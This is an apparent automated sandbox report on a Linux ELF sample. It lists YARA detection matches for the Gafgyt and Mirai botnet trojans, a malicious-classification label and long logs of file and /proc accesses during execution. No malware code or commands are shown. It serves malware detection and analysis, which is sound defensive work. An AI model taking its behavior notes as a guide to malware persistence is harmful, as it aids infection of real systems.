Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_0cd591cd os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 96c4ff70729ddb981adafd8c8277649a88a87e380d2f321dff53f0741675fb1b, id = 0cd591cd-c348-4c3a-a895-2063cf892cda, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_a33a8363 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 74f964eaadbf8f30d40cdec40b603c5141135d2e658e7ce217d0d6c62e18dd08, id = a33a8363-5511-4fe1-a0d8-75156b9ccfc7, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_520deeb8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f4dfd1d76e07ff875eedfe0ef4f861bee1e4d8e66d68385f602f29cc35e30cca, id = 520deeb8-cbc0-4225-8d23-adba5e040471, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_6a77af0f os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 4e436f509e7e732e3d0326bcbdde555bba0653213ddf31b43cfdfbe16abb0016, id = 6a77af0f-31fa-4793-82aa-10b065ba1ec0, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_575f5bc8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 58e22a2acd002b07e1b1c546e8dfe9885d5dfd2092d4044630064078038e314f, id = 575f5bc8-b848-4db4-a99c-132d4d2bc8a4, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_01e4a728 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = d90477364982bdc6cd22079c245d866454475749f762620273091f2fab73c196, id = 01e4a728-7c1c-479b-aed0-cb76d64dbb02, last_modified = 2021-09-16
Source: 5476.1.0000000000400000.0000000000414000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/171@0/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /usr/bin/dbus-daemon (PID: 5583)	File: /proc/5583/mounts	Jump to behavior
Source: /bin/fusermount (PID: 5691)	File: /proc/5691/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5729)	File: /proc/5729/mounts	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5804)	File: /proc/5804/mounts
Source: /usr/bin/dbus-daemon (PID: 5823)	File: /proc/5823/mounts
Source: /usr/bin/gjs (PID: 6195)	File: /proc/6195/mounts
Source: /usr/bin/gnome-shell (PID: 5863)	File: /proc/5863/mounts
Source: /usr/bin/dbus-daemon (PID: 5726)	File: /proc/5726/mounts
Source: /usr/bin/dbus-daemon (PID: 6733)	File: /proc/6733/mounts

Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:67112ZOJjGS	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:67113rboIVQ	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:67988Ln479Q	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:68005UqakuQ	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:68028vST27S	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:68029QIMr9R	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:662074fNrHR	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:66210UCjP3Q	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:66336o3RNFR	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:68366MdLP0R	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:69777iK4buT	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:68929Q1J8PS	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:70157W4OvgP	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:69143IqZgIQ	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:69192zESAuT	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:691946QmUvQ	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:692359whD0P	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:692368m4nsS	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:69278CXoPqT	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:69331PvsLjR	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:69386QIrc1O	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:69387Jq2ivS	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:69430N6RedT	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:69431MCq68R	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:70986qbR07S	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File: /run/systemd/journal/streams/.#9:70998qeaCnP	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (18)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (17)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/seats/.#seat09XsAoI	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127MKwNdI	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127d4T4DJ	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (20)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (19)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/seats/.#seat03ESUrL	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127GjxkDK	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c1RtpXXK	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127rHvB8L	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/seats/.#seat0vvyG7H	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127lu4lZL	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c1Go1IKH	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c1q2jMsI	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127gMgsoI	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c11auo6L	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c1Dr54tJ	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c1IEtgUI	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127ysf9dJ	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/seats/.#seat06i6UxK	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127HpUJ3I	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/seats/.#seat0azJF1L	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127B9BB7H	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/seats/.#seat0NstlhI	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127qhNF5K	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c2I9DdGL	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127slGWcI	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/seats/.#seat0wOhqzI	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c2pr9yyL	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c2OilTzH	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/users/.#127z7AhWL	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c2h5A5zK	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (21)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (20)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c2ez9NFK	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (22)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (21)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c2ZAlLRI	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (23)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (22)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c29L4RUL	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (24)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	Directory: <invalid fd (23)>/..	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/sessions/.#c2BJI5oK	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/inhibit/.#1eeRSJJ	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/inhibit/.#29XpH7J	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/inhibit/.#3L9sK4J	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/inhibit/.#4U5sG5J	Jump to behavior
Source: /lib/systemd/systemd-logind (PID: 5588)	File: /run/systemd/inhibit/.#5pkRHGH	Jump to behavior
Source: /usr/lib/policykit-1/polkitd (PID: 5651)	Directory: /root/.cache	Jump to behavior
Source: /usr/bin/gnome-shell (PID: 5752)	Directory: <invalid fd (11)>/..	Jump to behavior
Source: /usr/bin/gnome-shell (PID: 5752)	Directory: <invalid fd (10)>/..	Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5787)	Directory: <invalid fd (23)>/..	Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5787)	Directory: <invalid fd (22)>/..	Jump to behavior
Source: /usr/libexec/gnome-session-check-accelerated (PID: 5806)	Directory: /var/lib/gdm3/.drirc
Source: /usr/libexec/gnome-session-check-accelerated (PID: 5806)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/gnome-session-check-accelerated (PID: 5806)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/libexec/gnome-session-check-accelerated-gl-helper (PID: 5824)	Directory: /var/lib/gdm3/.drirc
Source: /usr/libexec/gnome-session-check-accelerated-gles-helper (PID: 5833)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/gnome-session-check-accelerated-gles-helper (PID: 5833)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/libexec/gnome-session-check-accelerated-gles-helper (PID: 5833)	Directory: /var/lib/gdm3/.drirc
Source: /usr/bin/gnome-shell (PID: 5863)	Directory: /var/lib/gdm3/.drirc
Source: /usr/bin/gnome-shell (PID: 5863)	Directory: <invalid fd (12)>/..
Source: /usr/bin/gnome-shell (PID: 5863)	Directory: <invalid fd (11)>/..
Source: /usr/bin/gnome-shell (PID: 5863)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/bin/gnome-shell (PID: 5863)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/bin/gnome-shell (PID: 5863)	Directory: <invalid fd (14)>/..
Source: /usr/bin/gnome-shell (PID: 5863)	Directory: <invalid fd (13)>/..
Source: /usr/libexec/ibus-x11 (PID: 6020)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/ibus-x11 (PID: 6020)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/libexec/gsd-wacom (PID: 6213)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/gsd-wacom (PID: 6213)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/libexec/gsd-color (PID: 6215)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/gsd-color (PID: 6215)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/libexec/gsd-keyboard (PID: 6217)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/gsd-keyboard (PID: 6217)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/libexec/gsd-rfkill (PID: 6222)	Directory: <invalid fd (9)>/..
Source: /usr/libexec/gsd-rfkill (PID: 6222)	Directory: <invalid fd (8)>/..
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale/en_US.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale/en_US.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale/en_US/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale/en.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale/en.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale/en/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale-langpack/en_US.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale-langpack/en_US.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale-langpack/en_US/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale-langpack/en.UTF-8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale-langpack/en.utf8/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-media-keys (PID: 6226)	Directory: /usr/share/locale-langpack/en/LC_MESSAGES/.mo
Source: /usr/libexec/gsd-power (PID: 6243)	Directory: /var/lib/gdm3/.Xdefaults
Source: /usr/libexec/gsd-power (PID: 6243)	Directory: /var/lib/gdm3/.Xdefaults-galassia
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5701)	Directory: /var/lib/gdm3/.pam_environment
Source: /usr/lib/accountsservice/accounts-daemon (PID: 5701)	Directory: /root/.cache
Source: /usr/lib/upower/upowerd (PID: 6030)	Directory: <invalid fd (12)>/..
Source: /usr/lib/upower/upowerd (PID: 6030)	Directory: <invalid fd (11)>/..
Source: /usr/lib/packagekit/packagekitd (PID: 6192)	Directory: /root/.cache
Source: /lib/systemd/systemd-hostnamed (PID: 6261)	Directory: <invalid fd (10)>/..
Source: /usr/libexec/colord (PID: 6546)	Directory: /var/lib/colord/.cache
Source: /usr/sbin/ModemManager (PID: 6554)	Directory: <invalid fd (12)>/..
Source: /usr/sbin/ModemManager (PID: 6554)	Directory: <invalid fd (11)>/..

Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6593/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6394/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5583/status	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5583/attr/current	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5584/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5584/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5584/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5585/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6211/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6434/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5785/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6554/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6190/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6192/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6192/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6030/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6073/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6073/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5717/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5717/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6546/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6226/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6746/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6746/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5778/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5778/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/2946/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6188/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5651/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6068/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6068/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6068/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6222/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6222/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5696/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5752/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5730/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6261/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5805/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/1/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/1364/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5588/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5863/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5885/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5787/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6215/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6218/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5723/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/5701/cmdline	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5583)	File opened: /proc/6217/cmdline	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/comm	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/cmdline	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/status	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/attr/current	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/sessionid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/loginuid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/cgroup	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/comm	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/cmdline	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/status	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/attr/current	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/sessionid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/loginuid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/cgroup	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/comm	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/cmdline	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/status	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/attr/current	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/sessionid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/loginuid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/cgroup	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/comm	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/cmdline	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/status	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/attr/current	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/sessionid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/loginuid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/cgroup	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/comm	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/cmdline	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/status	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/attr/current	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/sessionid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/loginuid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5583/cgroup	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/comm	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/cmdline	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/status	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/attr/current	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/sessionid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/loginuid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/cgroup	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/comm	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/cmdline	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/status	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/attr/current	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/sessionid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/loginuid	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	File opened: /proc/5584/cgroup	Jump to behavior
